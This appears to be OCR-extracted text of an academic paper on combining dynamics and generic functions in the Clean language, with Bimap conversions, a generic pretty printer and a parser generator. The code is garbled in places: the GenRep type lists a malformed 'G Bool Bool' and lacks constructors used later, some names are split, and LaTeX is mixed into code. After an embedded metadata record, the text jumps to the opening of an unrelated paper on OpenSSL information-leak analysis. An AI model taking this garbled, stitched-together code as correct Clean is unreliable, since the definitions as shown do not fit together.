pattern. The only static type information that is available at compile time are the constants of the type pattern, the values of type pattern variables are only known at run time after unification. 3. When packing a value in a dynamic, the type information is available (provided by program or inferred by compiler). The constituents, however, may result from dynamic type pattern variables (see dynApply in Section 2). 4. Generic functions should be ‘polymorphic’ for dynamic values. The opaque dynamic type representation contains sufficient information to distil a runtime type out of. The main problem occurs when applying a generic function to a dynamic value: we need to have or generate the proper instance of an overloaded function, but we do not know what the dynamic type pattern variables will be unified with statically. The key idea of our solution is to include conversion functions to and from a generic dynamic type representation whenever a value is packed into a dynamic. This can be done automatically by a generic function, because when a value is packed into a dynamic, its type is known. The generic dynamic type representation is given in Section 4.1, and the conversion function in Section 4.2. When unpacking a dynamic value, we can then extract both the dynamic type representation and the generic dynamic type conversion functions. The first is required for our ‘normal’ dynamic programming (to enforce unification between the dynamic type representation and the static dynamic type pattern), and the second is required to convert the dynamic value to the generic representation. Our solution relies on the ability of the dynamics implementation that it is able to store arbitrary Clean expressions, but does not change it. The definition of generic functions also does not change in this framework. The programmer writes a function that has the same type as the generic signature, except that the overloaded type variables are replaced by Dynamics. We show this in Section 4.3. (We also show how to do this for functions with argument dynamics (Section 5.1) and result dynamics (Section 5.2.).) The ideal situation is that generic functions behave ‘polymorphically’: they should work for any dynamic value. This means that we do not want the programmer to write his functions for dynamic values, but rather simply apply a generic function to a dynamic value and let the compiler sort things out. In the current proposal we can do this for generic functions of kind *. This is presented in Section 4.4. ### 4.1 A generic dynamic type representation The first thing we need is a fixed representation for generic dynamic values: ```haskell :: GenRep = GRInt Int | GRReal Real | G Bool Bool | GRChar Char | GRString String | GRUnit ``` This type is very similar to the types that we used in Section 3. The main difference is that GenRep is a sum type, rather than a collection of type constructors. The key advantage is that we can easily specialize the generic functions to GenRep in one go (Section 4.3). The GenericConsDescriptor and GenericFieldDescriptor types are pre-defined in StdGeneric. They contain the additional information a programmer might need when handling the CONS and FIELD cases of a generic function. In the generic equality example we had no need for them. ### 4.2 Conversion functions Because we will have to do a great deal of back and forth conversion, it is convenient to have the two conversion functions at hand. A value of type \((\text{Bimap } a \ b)\) is a pair of conversion functions of type \(a \to b\) and \(b \to a\). A number of predefined bimaps and standard combinators are provided, see Appendix A. \[ \text{:: } \text{Bimap } a \ b = \{ \text{map\_to} : a \to b, \text{map\_from} : b \to a \} \] Because we will need to convert any compile time type \(a\) to GenRep and back again, we must have a \((\text{Bimap } a \ \text{GenRep})\) for this type. For this we define a generic function \text{genRep}. (Note that of the basic types, we only show the Int case, as the others are similar. In addition, note that the map\_from functions are partial functions. \[ \begin{align*} \text{generic genRep } a & : \text{Bimap } a \ \text{GenRep} \\ \text{genRep}\{|\text{Int}|\} & = \{ \text{map\_to} = \text{map\_to}, \text{map\_from} = \text{map\_from} \} \\ & \text{where map\_to } x = \text{GRInt } x \\ & \text{map\_from } (\text{GRInt } x) = x \\ \text{genRep}\{|\text{UNIT}|\} & = \{ \text{map\_to} = \text{map\_to}, \text{map\_from} = \text{map\_from} \} \\ & \text{where map\_to } \text{UNIT} = \text{GRUnit} \\ & \text{map\_from } \text{GRUnit} = \text{UNIT} \\ \text{genRep}\{|\text{PAIR}|\} fx fy & = \{ \text{map\_to} = \text{map\_to}, \text{map\_from} = \text{map\_from} \} \\ & \text{where map\_to } (\text{PAIR } x y) = \text{GRPair } (\text{fx.map\_to } x) (\text{fy.map\_to } y) \\ & \text{map\_from } (\text{GRPair } x y) = \text{PAIR } (\text{fx.map\_from } x) (\text{fy.map\_from } y) \\ \text{genRep}\{|\text{EITHER}|\} fl fr & = \{ \text{map\_to} = \text{map\_to}, \text{map\_from} = \text{map\_from} \} \\ & \text{where map\_to } (\text{LEFT } x) = \text{GRLef t } (\text{fl.map\_to } x) \\ & \text{map\_to } (\text{RIGHT } x) = \text{GRRight } (\text{fr.map\_to } x) \\ & \text{map\_from } (\text{GRLef t } x) = \text{LEFT } (\text{fl.map\_from } x) \\ & \text{map\_from } (\text{GRRight } x) = \text{RIGHT } (\text{fr.map\_from } x) \\ \text{genRep}\{|\text{CONS of } d|\} fx & = \{ \text{map\_to} = \text{map\_to}, \text{map\_from} = \text{map\_from} \} \\ & \text{where map\_to } (\text{CONS } x) = \text{GRCons } d (\text{fx.map\_to } x) \\ & \text{map\_from } (\text{GRCons } x) = \text{CONS } (\text{fx.map\_from } x) \\ \text{genRep}\{|\text{FIELD of } d|\} fx & = \{ \text{map\_to} = \text{map\_to}, \text{map\_from} = \text{map\_from} \} \\ & \text{where map\_to } (\text{FIELD } x) = \text{GRField } d (\text{fx.map\_to } x) \\ & \text{map\_from } (\text{GRField } x) = \text{FIELD } (\text{fx.map\_from } x) \end{align*} \] When packing and unpacking values of type $a$ to a dynamic we also store and read the corresponding $\text{(Bimap } a \text{ GenRep)}$. 4.3 Generic dynamic function definitions The generic equality function $g\text{Eq}$ remains the same as in Section 3. Given this generic function, we can ask the compiler to derive the proper instance for $\text{GenRep}$ values. Because derived instances have to be asked for explicitly, also instances of the type constructors on which $\text{GenRep}$ relies need to be instances of the generic function. In general, for an arbitrary generic function $g$ this would result in: ``` derive $g$ $\text{GenRep}$, $\text{GenericConsDescriptor}$, $\text{GenericFieldDescriptor}$, $\text{GenConsPrio}$, $\text{GenConsAssoc}$, $\text{GenericTypeDefDescriptor}$, $\text{GenType}$ ``` However, for $g\text{Eq}$, only a derived instance for $\text{GenRep}$ will do, given the following name equality for the extra $\text{CONS}$ and $\text{FIELD}$ descriptors: ``` derive $g\text{Eq}$ $\text{GenRep}$ $g\text{Eq}\{\text{GenericConsDescriptor }|\}$ $x$ $y$ = $g\text{Eq}\{\!*|\}$ $x$.gcd_name $y$.gcd_name $g\text{Eq}\{\text{GenericFieldDescriptor}|\}$ $x$ $y$ = $g\text{Eq}\{\!*|\}$ $x$.gfd_name $y$.gfd_name ``` Now if we assume that we use the extended way of storing dynamics, then for each dynamic value of type $a$ we also have the corresponding $\text{(Bimap } a \text{ GenRep)}$. The equality operation on dynamics uses this $\text{Bimap}$ to convert dynamic values to generic dynamic values, for which a generic equality function is available (above we have just asked the compiler to derive it). Here is the definition of the equality on dynamics: ``` dEq :: Dynamic Dynamic -> Bool dEq ((x::a,epx)::(Dynamic,Bimap a GenRep)) ((y::a,epy)::(Dynamic,Bimap a GenRep)) = adaptEq (epx oo inv bimapDynamic) gEq{|*|} x y where bimapEq a = a --> a --> bimapId adaptEq ep = (bimapEq ep).map_from dEq _ _ = False ``` To understand this quite concise function, let us dissect it: – Let $f = (\text{epx oo inv bimapDynamic})$. Because $(\text{inv bimapDynamic}) :: \text{Bimap Dynamic } a \text{ and } \text{epx :: Bimap } a \text{ GenRep}$, we have $f :: \text{Bimap Dynamic } \text{GenRep}$. In other words, $f$ transforms dynamic values to generic dynamic representations and vice versa via the additionally stored bimap $\text{epx}$. - \texttt{bimapEq} :: (Bimap \ a \ b) \rightarrow \ Bimap \ (a \rightarrow a) \ (b \rightarrow b) \rightarrow c, \ \text{so} \ \ bimapEq \ f :: \ Bimap \ (\text{Dynamic} \rightarrow \text{Dynamic} \rightarrow c) \ (\text{GenRep} \rightarrow \text{GenRep} \rightarrow c). - \texttt{(bimapEq} \ f \texttt{).map_from} \text{ is a conversion function of type } \ (\text{GenRep} \rightarrow \text{GenRep} \rightarrow c) \rightarrow (\text{Dynamic} \rightarrow \text{Dynamic} \rightarrow c). - \texttt{((bimapEq} \ f \texttt{).map_from gEq{|*|}) :: \text{Dynamic} \rightarrow \text{Dynamic} \rightarrow \text{Bool} \text{ is the desired function.} - We use the opaque dynamic type representation of \text{\(x\)} and \text{\(y\)} to enforce unification. If type pattern matching succeeds, we are ensured that \text{\(x\)} and \text{\(y\)} will have identical types. ### 4.4 Integration in Clean compiler In this section we discuss the transformation rules that can be implemented in the compiler to derive most of the code above automatically. \textbf{To be done.} ### 5 Examples of dynamics and generics In this section we give two examples that exploit the combined power of dynamics and generics. Both examples are useful tools when having a disk filled with dynamic files. The first is a \textit{pretty printer} of dynamic values, and the second is a \textit{parser generator} for dynamic values. In each example, we first give the generic function definition, then present the code of the dynamic version, and finally apply the dynamic version to an actual dynamic value. In order to have a user-friendly tool, we make use of the Clean Object I/O library to create a simple GUI. The module \texttt{simpleGUI} exports the function \texttt{simpleGUI} that is parameterized with a function of type \texttt{String} \rightarrow \texttt{Dynamic} \rightarrow \texttt{env} \rightarrow \texttt{env}. Whenever a user drops a file on the GUI framework, it is checked if that file contains a dynamic value, and if this is the case, the argument function is evaluated. It is applied to the full path name of the file, dynamic content of the file, and the GUI environment. We will not discuss this module any further, as it is an easy exercise in Object I/O. For completeness, its code is presented in Appendix C. The relevant type and function are: \[ \text{:: DynamicIO env :== String -> Dynamic -> IdFun env} \] \[ \text{simpleGUI :: (DynamicIO (PSt Void)) -> IdFun *World} \] \text{(IdFun is a predefined synonym type with: IdFun \ x :== x \rightarrow x. Void is equivalent with Haskell’s \ (). A discussion of the PSt is out of scope, but it can be considered as a full-fledged environment specialized for GUI operations.)} #### 5.1 Pretty printer \textit{Pretty printers} belong to the classic examples of generic programming. In this example we deviate a little from this well-trodden path by developing a program that sends a graphical version of any dynamic value to a user selected printer. The **generic function** The generic function `pretty`, given a value to display, computes the bounding box (`Box`) and the function that actually draws the value, if it is given the left-top corner of the bounding box (`Point2 *Picture -> *Picture`). Because graphical metrics information depend on the resolution properties of the output environment, the function is a state transformer on `*Picture`. Therefore, `pretty` has the following type: \[ \text{generic pretty } t :: t *\text{Picture} \\ \rightarrow \langle (\text{Box},\text{Point2 }*\text{Picture} \rightarrow *\text{Picture}), *\text{Picture} \rangle \] (The `Picture` environment can be used to draw in any visual component or the printer. It is predefined in the Clean Object I/O library [2], and so are `Point2` and `Box`: \[ \begin{align*} \text{:: Picture} & \quad // \text{abstract data type} \\ \text{:: Point2} & \quad = \{ \text{x} :: !\text{Int}, \text{y} :: !\text{Int} \} \\ \text{:: Box} & \quad = \{ \text{box_w} :: !\text{Int}, \text{box_h} :: !\text{Int} \} \end{align*} \] In Clean, record types are surrounded by `{}`. Data type declarations start with `::`. The sort of type declaration is usually indicated by the separator, which is `=` for algebraic and record types, and `::=` for synonym types.) Basic values simply refer to the string instance that does the real work. It draws the text and the enclosing rectangle (we assume that the `getMetricsInfo` function returns the width and height of the argument string, proportional margins, and base line offset of the font): \[ \begin{align*} \text{pretty}{|\text{Int}|} & \quad x \text{ picture} = \text{pretty}{|\text{*}|} (\text{toString } x) \text{ picture} \\ \text{pretty}{|\text{Real}|} & \quad x \text{ picture} = \text{pretty}{|\text{*}|} (\text{toString } x) \text{ picture} \\ \text{pretty}{|\text{Char}|} & \quad x \text{ picture} = \text{pretty}{|\text{*}|} (\text{toString } x) \text{ picture} \\ \text{pretty}{|\text{Bool}|} & \quad x \text{ picture} = \text{pretty}{|\text{*}|} (\text{toString } x) \text{ picture} \\ \text{pretty}{|\text{String}|} & \quad s \text{ picture} \\ & \quad \# ((\text{width},\text{height},\text{hMargin},\text{vMargin},\text{fontBase}),\text{picture}) \\ & \quad \quad \text{getMetricsInfo } s \text{ picture} \\ & \quad \quad \# \text{ bound} = \{ \text{box_w}=2*\text{hMargin }+ \text{width}, \text{box_h}=2*\text{vMargin }+ \text{height} \} \\ & \quad \quad = ( \{ \text{bound} \\ & \quad \quad \quad , \langle x,y \rangle \rightarrow \text{drawAt } \{ x=\text{x+hMargin}, y=\text{y+vMargin+fontBase} \} \text{ s} \\ & \quad \quad \quad \quad \quad \text{o drawAt } \{ x=\text{x+1},y=\text{y+1} \} \\ & \quad \quad \quad \quad \quad \quad \{ \text{box_w=bound.box_w-2}, \text{box_h=bound.box_h-2} \} \\ & \quad \quad \quad \} \\ & \quad \quad \}, \text{picture} \end{align*} \] (In Clean, `#` allows convenient reuse of (in particular environment) names. If \( r \) is a record value, and \( f \) one of its fields, then \( r.f \) selects the field value of \( r \). In a pattern match, \( \{ f \} \) can be used to select the field value. Function composition is predefined as `o`.) The other cases only place the recursive parts at the proper positions and compute the corresponding bounding boxes. The most trivial ones are `UNIT`, which draws nothing, and `EITHER`, which continues recursively (poly)typically: PAIRs are drawn in juxtaposition with top edges aligned. A CONS draws the constructor name on top, and puts the recursive component below the constructor. The bounding boxes are centred. (Note that FIELDs are handled the same way as CONSs are.) \begin{verbatim} pretty{|PAIR|} px py (PAIR x y) picture # ((bx,fx),picture) = px x picture # ((by,fy),picture) = py y picture # bound = { box_w = bx.box_w + by.box_w # , box_h = max bx.box_h by.box_h # } = ( ( bound, \pos -> fy {pos & x=pos.x+bx.box_w} o fx pos ) # , picture ) pretty{|CONS of {gcd_name}|} px (CONS x) picture # ((bc,fc),picture) = pretty{|*|} gcd_name picture # ((bx,fx),picture) = px x picture # bound = { box_w = max bc.box_w bx.box_w # , box_h = bc.box_h + bx.box_h # } = ( ( bound # , \pos -> fx {pos & x=pos.x + (bound.box_w-bx.box_w)/2 # , y=pos.y+bc.box_h # } o fc {pos & x=pos.x + (bound.box_w-bc.box_w)/2} # ) # , picture ) \end{verbatim} (If \( r \) is a record value, and \( v \) a new value for the field \( f \), then \( \{r & f=v\} \) is a new record value, equal to \( r \), but with value \( v \) for field \( f \).) **The dynamic function** If we follow the implementation scheme for dynamic functions (Section 4.3) we obtain the following code: \begin{verbatim} derive pretty GenRep pretty{|GenericConsDescriptor|} _ picture = ((zero,const id),picture) pretty{|GenericFieldDescriptor|} _ picture = ((zero,const id),picture) dpretty :: Dynamic *Picture -> ((Box,Point2 *Picture -> *Picture),*Picture) dpretty ((x::a,epx)::(Dynamic,Bimap a GenRep)) picture = adaptPretty (epx oo inv bimapDynamic) pretty{|*|} (dynamic x::a) picture where bimapPretty a = a --> bimapId --> bimapId adaptPretty ep = (bimapPretty ep).map_from \end{verbatim} However, this function pretty prints generic dynamic representations of dynamic values instead of the dynamic values. This is obvious, because we asked the compiler to derive `pretty` for `GenRep`. In this case, we need to define our own instance of `pretty`. We can do this by making good use of the generic `pretty` function: ```haskell pretty{|GenRep|} v p = fp v p where fp :: GenRep *Picture -> ((Box,(Point2,Point2) *Picture -> *Picture),*Picture) fp (GRInt x) p = pretty{|*|} x p fp (GRReal x) p = pretty{|*|} x p fp GRUnit p = pretty{|*|} UNIT p fp (GRCons gcd x) p = pretty{|*->*|} fp (CONS x) p fp (GRField gfd x) p = pretty{|*->*|} fp (FIELD x) p fp (GRPair x y) p = pretty{|*->*->*|} fp fp (PAIR x y) p fp (GRLeft l) p = pretty{|*->*->*|} fp fp (LEFT l) p fp (GRRight r) p = pretty{|*->*->*|} fp fp (RIGHT r) p ``` **Embedding in GUI** The dynamic pretty printing function can now be used in the argument function `prettyprinter` of `simpleGUI`. It sends the dynamic content of any dropped file to the printer. For this we use the following functions of the Object I/O library: `defaultPrintSetup` reads in the default printer setup, and the function `print` actually does the printing. The third argument of `print` is a `Picture` state transformer that produces the pages as a list of drawing functions. Note that for reasons of simplicity we assume that the image will fit on one page. ```haskell prettyprinter :: (DynamicIO *env) | FileEnv, PrintEnvironments env prettyprinter = \_ x -> snd o uncurry (print True False (pages x)) o defaultPrintSetup where pages :: Dynamic PrintInfo *Picture -> ([IdFun *Picture],*Picture) pages dx _ picture # ((boundBox_x,draw_x),picture) = dpretty dx picture = ([draw_x zero],picture) Start :: *World -> *World Start world = simpleGUI prettyprinter world ``` ### 5.2 Parser generator Just as pretty printers, parsers also belong to the classic repertoire of generic programming. In this section we develop an application that generates a parser for expressions that have the same type as any dynamic value that is dropped on it. Of course, we store the generated parser as a dynamic itself. The generic function The generic parser function uses a small combinator parser library \[8\]. We refer to Appendix B for a brief description of the combinators and functions. What we need to know right now is that parsers are constructed by composition of basic continuation parsers of type \((\text{CParser } s a t)\). Such a continuation parser consumes (part of) an input sequence of symbols of type \(s\), and returns a result of type \(a\). We will use a Character input sequence, hence our generic parser generating function must be a \((\text{CParser } \text{Char } a t)\): \[ \text{generic parser } a :: \text{CParser } \text{Char } a t \] We adopt the convention that every continuation parser skips whitespace first. The basic types have straightforward definitions: the Int and Real instances use \(\text{int}\) and \(\text{real}\), Char accepts any character between "'" (we do not handle escape characters), and \(\text{Bool}\)s accept either True or False. \[ \begin{align*} \text{parser}\{|\text{Int}|\} &= \text{sp int} \\ \text{parser}\{|\text{Real}|\} &= \text{sp real} \\ \text{parser}\{|\text{Char}|\} &= \text{sp (symbol '\'' \& \text{satisfy (const True) \& symbol '\'' \&)} \\ \text{parser}\{|\text{Bool}|\} &= (\text{sp (token ['True']) \& yield True} \\ & \text{<!> (sp (token ['False']) \& yield False)} \end{align*} \] The standard polytypic cases are also not hard to figure out: \(\text{UNIT}\)s require no parsing at all and simply yield \(\text{UNIT}\), parsing \(\text{PAIR}\)s parses the elements in order and returns their results, and parsing the alternatives of \(\text{EITHER}\) simply uses the \(!\) operator. \[ \begin{align*} \text{parser}\{|\text{UNIT}|\} &= \text{yield UNIT} \\ \text{parser}\{|\text{PAIR}|\} fx fy &= \text{sp fx \& sp fy \& \text{x \& y \& yield (PAIR x y)} \\ \text{parser}\{|\text{EITHER}|\} fl fr &= (\text{sp fl \& \text{x \& yield (LEFT x)}) \\ & \text{<!> (sp fr \& \text{x \& yield (RIGHT x))} \end{align*} \] In order to create a parser for data constructors \(\text{CONS}\), we need access to the actual name of the constructor. This is provided by the \(\text{gcd\_name}\) field that can be requested from the \(\text{CONS}\) instance. \[ \begin{align*} \text{parser}\{|\text{CONS of {gcd\_name}}|\} fx &= \text{sp (symbol '(' \& \text{sp (token (fromString gcd\_name)) \&)} \\ & \text{sp fx \& \text{x \& yield (CONS x)}} \end{align*} \] Predefined type constructors, such as tuples, lists, and records, have special syntax, so we need to specialize these cases ourselves. We only show the list instance: lists can be empty \([\ ]\), or contain a number of elements \([e_1, e_2, \ldots, e_n]\). If an initial element is parsed, we use the \(<\ast\>\) combinator to find the maximum occurrences of list elements. The dynamic function The dynamic version of the parser generator follows a slightly different scheme than presented in Section 4.3. The reason is that a parser is a function that is overloaded in the right-hand-side. This implies that we do not have a bimap argument to work with. We solve this pragmatically by adding an additional dynamic argument to these functions that contains the bimap. This yields: dparser :: Dynamic -> CParser Char Dynamic Dynamic dparser (ep::Bimap a GenRep) = adaptParser (ep oo inv bimapDynamic) parser{|*|} where bimapParser a = bimap{|*->*->*|} (bimap{|*->*->*|} a bimapId) bimapId adaptParser ep = (bimapParser ep).map_from Embedding in GUI We can now embed dparser in simpleGUI, as the function storeParser. It is applied to a dynamic with file path name path, and dynamic value (x :: a, bimap) where bimap :: Bimap a GenRep. It creates a new file named (path +++ "parser") in which a parser p is stored that parses values of type a. The parser p is the value (begin (dparser bimap)) :: Parser Char Dynamic. As promised, we also store the corresponding bimap, automatically generated by genRep{|*|} :: Bimap (Parser Char Dynamic) GenRep. The Start rule of the program simply passes storeParser to simpleGUI. storeParser :: (DynamicIO *env) | FileSystem env storeParser = \path (((x::a),bimap)::(Dynamic,Bimap a GenRep)) -> snd o (writeDynamic (path+++"parser") (dynamic (dp,genRep{|*|})) :: (Dynamic, Bimap (Parser Char Dynamic) GenRep) ) where p = begin (dparser (dynamic bimap :: Bimap a GenRep)) dp = dynamic p :: (Parser Char Dynamic) Start :: *World -> *World Start world = simpleGUI storeParser world 6 Related work Cheney and Hinze [5] present a poor man’s dynamics that marries generic programming with dynamics. Their solution is more verbose for the programmer who needs to apply explicit unifications to dynamic types. Clean dynamics have been designed and implemented to offer a rich man’s dynamics, taking care of separate compilation issues, efficient graph and type representations, and version management. An advantage of their approach is that it reconciles generic and dynamic programming right from start, which results in an elegant representation of types that can be used both for generic and dynamic programming. 7 Current and future work To do. 8 Conclusions To do. References A Bimap combinators The Bimap type is a simple pair of two conversion functions. Two Bimaps are predefined: bimapId is the pair of identity functions, and bimapDynamic packs and unpacks values to and from dynamics. The combinators that we use in this paper are: inv, which swaps the conversion functions of a (Bimap a b) to (Bimap b a), oo, which forms the sequential composition (Bimap a c) of two arguments (Bimap b c) and (Bimap a b), and finally, -->, which converts functions (a → c) (b → d) if given conversion pairs (Bimap a b) and (Bimap c d). :: Bimap a b = { map_to :: a -> b, map_from :: b -> a } bimapId :: Bimap a a bimapId = { map_to = id, map_from = id } bimapDynamic :: Bimap a Dynamic | TC a bimapDynamic = {map_to = map_to, map_from = map_from} where map_to x = dynamic x :: a^- map_from (x :: a^) = x inv :: (Bimap a b) -> Bimap b a inv {map_to, map_from} = {map_to = map_from, map_from = map_to} (oo) infixr 9 :: (Bimap b c) (Bimap a b) -> Bimap a c (oo) f g = { map_to = f.map_to o g.map_to , map_from = g.map_from o f.map_from } \( \text{infixr 0 :: (Bimap a b) (Bimap c d) -> Bimap (a -> c) (b -> d)} \) \( (\rightarrow) \ x \ y = \{ \text{map\_to} = \lambda f \rightarrow y.\text{map\_to} \circ f \circ x.\text{map\_from}, \text{map\_from} = \lambda f \rightarrow y.\text{map\_from} \circ f \circ x.\text{map\_to} \} \) B Combinator parsers Here is a brief summary of combinator parsers à la Koopman [8]. A parser is a function of type \((\text{Parser } s \ r)\) that reads an input sequence of \(s\) symbols, and returns a list of successful parses \((\text{ParsResult } s \ r)\). Each element is a pair of the remaining input \([s]\) and a value of type \(r\): \[ \begin{align*} \text{Parser } s \ r & := [s] \rightarrow \text{ParsResult } s \ r \\ \text{ParsResult } s \ r & := \{ ([s], r) \} \end{align*} \] Parsers are constructed by glueing continuation parsers of type \((\text{CParser } s \ r \ t)\). Such a parser consumes an input sequence of \(s\) symbols, and returns results of type \(r\) that contribute to the total result of type \(t\). It uses continuations to prevent the construction of intermediate data structures, and hence improve the performance. Given any continuation parser \(p\), \((\text{begin } p)\) turns it into a parser. \[ \begin{align*} \text{CParser } s \ r \ t & := (\text{Suc } s \ r \ t) \rightarrow (\text{Xor } s \ t) \rightarrow (\text{Alt } s \ t) \rightarrow \text{Parser } s \ t \\ \text{Suc } s \ r \ t & := r \rightarrow (\text{Xor } s \ t) \rightarrow (\text{Alt } s \ t) \rightarrow \text{Parser } s \ t \\ \text{Xor } s \ t & := (\text{Alt } s \ t) \rightarrow \text{Parser } s \ t \\ \text{Alt } s \ t & := \text{ParsResult } s \ t \\ \text{begin } & := (\text{CParser } s \ r \ t) \rightarrow \text{Parser } s \ r \end{align*} \] We use the following combinators to construct continuation parsers: \((\text{yield } r)\) simply returns \(r\) without consuming input; \((\text{satisfy } c)\) consumes and yields the input that satisfies \(c\); \((\text{token } s)\) and \((\text{symbol } s)\) consume and return their argument; \((\text{sp } p)\) first consumes whitespace and continues as \(p\); \((\text{*? } p)\) applies \(p\) as many times as possible, returning the parsed results in a list; \(\text{int}\) and \(\text{real}\) parse and return any integer and real value. \[ \begin{align*} \text{yield } & := r \rightarrow \text{CParser } s \ r \ t \\ \text{satisfy } & := (s \rightarrow \text{Bool}) \rightarrow \text{CParser } s \ s \ t \\ \text{token } & := [s] \rightarrow \text{CParser } s \ [s] \ t \mid == s \\ \text{symbol } & := s \rightarrow \text{CParser } s \ s \ t \mid == s \\ \text{sp } & := (\text{CParser } \text{Char } r \ t) \rightarrow \text{CParser } \text{Char } r \ t \\ \text{<*? } & := (\text{CParser } s \ r \ t) \rightarrow \text{CParser } s \ [r] \ t \\ \text{int } & := \text{CParser } \text{Char } \text{Int } \ t \\ \text{real } & := \text{CParser } \text{Char } \text{Real } \ t \end{align*} \] \((p \text{ <&> } f)\) is the standard way of combining two parsers in the expected way: first parse as \(p\), and pass its result to \(f\) which returns a new parser that is evaluated. Two useful variants are \((p_1 \text{ &> } p_2)\) and \((p_1 \text{ <& } p_2)\) which parse as \(p_1\) and \(p_2\) subsequently, but ignore the result of \(p_1\) and \(p_2\) respectively. Finally, \((p_1 \text{ <!> } p_2)\) proceeds as \(p_1\) if successful or \(p_2\) if not successful. C simpleGUI Framework implementation module simpleGUI import StdEnv, StdIO, StdDynamic :: DynamicIO env == String -> Dynamic -> IdFun env simpleGUI :: (DynamicIO (PSt Void)) -> IdFun *World simpleGUI f = startIO SDI Void id [ ProcessClose closeProcess , ProcessOpenFiles (\fs pState -> foldr (toDynamic f) pState fs) ] where toDynamic :: (DynamicIO (PSt Void)) String (PSt Void) -> PSt Void toDynamic f fName pState = case readDynamic fName pState of (True,dyn,pState) = case dyn of ((x::a),bimap)::(Dynamic,Bimap a GenRep) = f fName dyn pState _ = pState (_,_,pState) = pState
{"Source-Url": "https://repository.ubn.ru.nl/bitstream/handle/2066/176175/176175.pdf?sequence=1", "len_cl100k_base": 11250, "olmocr-version": "0.1.50", "pdf-total-pages": 19, "total-fallback-pages": 0, "total-input-tokens": 45568, "total-output-tokens": 13144, "length": "2e13", "weborganizer": {"__label__adult": 0.00036525726318359375, "__label__art_design": 0.0002567768096923828, "__label__crime_law": 0.0002493858337402344, "__label__education_jobs": 0.00037550926208496094, "__label__entertainment": 5.394220352172851e-05, "__label__fashion_beauty": 0.00013184547424316406, "__label__finance_business": 0.00015020370483398438, "__label__food_dining": 0.0003764629364013672, "__label__games": 0.000453948974609375, "__label__hardware": 0.0006527900695800781, "__label__health": 0.000408172607421875, "__label__history": 0.00019633769989013672, "__label__home_hobbies": 7.486343383789062e-05, "__label__industrial": 0.0003159046173095703, "__label__literature": 0.00020647048950195312, "__label__politics": 0.00024819374084472656, "__label__religion": 0.00045990943908691406, "__label__science_tech": 0.0062713623046875, "__label__social_life": 7.283687591552734e-05, "__label__software": 0.0029621124267578125, "__label__software_dev": 0.98486328125, "__label__sports_fitness": 0.0002956390380859375, "__label__transportation": 0.000469207763671875, "__label__travel": 0.00020873546600341797}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 43251, 0.00585]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 43251, 0.50932]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 43251, 0.73754]], "google_gemma-3-12b-it_contains_pii": [[0, 0, null], [0, 2279, false], [2279, 5006, null], [5006, 7851, null], [7851, 10357, null], [10357, 12093, null], [12093, 14925, null], [14925, 18188, null], [18188, 20641, null], [20641, 23639, null], [23639, 27046, null], [27046, 28833, null], [28833, 31014, null], [31014, 33808, null], [33808, 35515, null], [35515, 38102, null], [38102, 39170, null], [39170, 42608, null], [42608, 43251, null]], "google_gemma-3-12b-it_is_public_document": [[0, 0, null], [0, 2279, true], [2279, 5006, null], [5006, 7851, null], [7851, 10357, null], [10357, 12093, null], [12093, 14925, null], [14925, 18188, null], [18188, 20641, null], [20641, 23639, null], [23639, 27046, null], [27046, 28833, null], [28833, 31014, null], [31014, 33808, null], [33808, 35515, null], [35515, 38102, null], [38102, 39170, null], [39170, 42608, null], [42608, 43251, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 43251, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 43251, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 43251, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 43251, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 43251, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 43251, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 43251, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 43251, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 43251, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 43251, null]], "pdf_page_numbers": [[0, 0, 1], [0, 2279, 2], [2279, 5006, 3], [5006, 7851, 4], [7851, 10357, 5], [10357, 12093, 6], [12093, 14925, 7], [14925, 18188, 8], [18188, 20641, 9], [20641, 23639, 10], [23639, 27046, 11], [27046, 28833, 12], [28833, 31014, 13], [31014, 33808, 14], [33808, 35515, 15], [35515, 38102, 16], [38102, 39170, 17], [39170, 42608, 18], [42608, 43251, 19]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 43251, 0.0]]}
olmocr_science_pdfs
2024-12-03
2024-12-03
1bc0a72f3d44bbd3b26720b7c499eddc48a9dd1c
Information leakage analysis of complex C code and its application to OpenSSL MALACARIA, P; TAUTCHNING, M; DISTEFANO, D; 7th International Symposium on Leveraging Applications © Springer International Publishing AG Published in http://link.springer.com/bookseries/558 For additional information about this publication click this link. http://qmro.qmul.ac.uk/xmlui/handle/123456789/13880 Information about this research object was correct at the time of download; we occasionally make corrections to records, please therefore check the published record when citing. For more information contact scholarlycommunications@qmul.ac.uk Information leakage analysis of complex C code and its application to OpenSSL Pasquale Malacaria, Michael Tautchning, and Dino DiStefano School of Electronic Engineering and Computer Science, Queen Mary University of London, UK {p.malacaria,michael.tautschnig,d.distefano}@qmul.ac.uk Abstract. The worldwide attention generated by the Heartbleed bug has demonstrated even to the general public the potential devastating consequences of information leaks. While substantial academic work has been done in the past on information leaks, these works have so far not satisfactorily addressed the challenges of automated analysis of real-world complex C code. On the other hand, effective working solutions rely on ad-hoc principles that have little or no theoretical justification. The foremost contribution of this paper is to bridge this chasm between advanced theoretical work and concrete practical needs of programmers developing real world software. We present an analysis, based on clear security principles and verification tools, which is largely automatic and effective in detecting information leaks in complex C code running everyday on millions of systems worldwide. 1 Introduction The OpenSSL Heartbleed vulnerability (CVE-2014-0160) has attracted international attention both from media and security experts. It is difficult to imagine a more serious security flaw: devastating (clear-text passwords are leaked), widespread (running on millions of systems), untraceable, and repeatable while leaking up to 64 KB of memory at a time. Automated security analysis of code have so far proven to be of limited help: Heartbleed seemingly demonstrated the limitations of current static analysis tools for this kind of 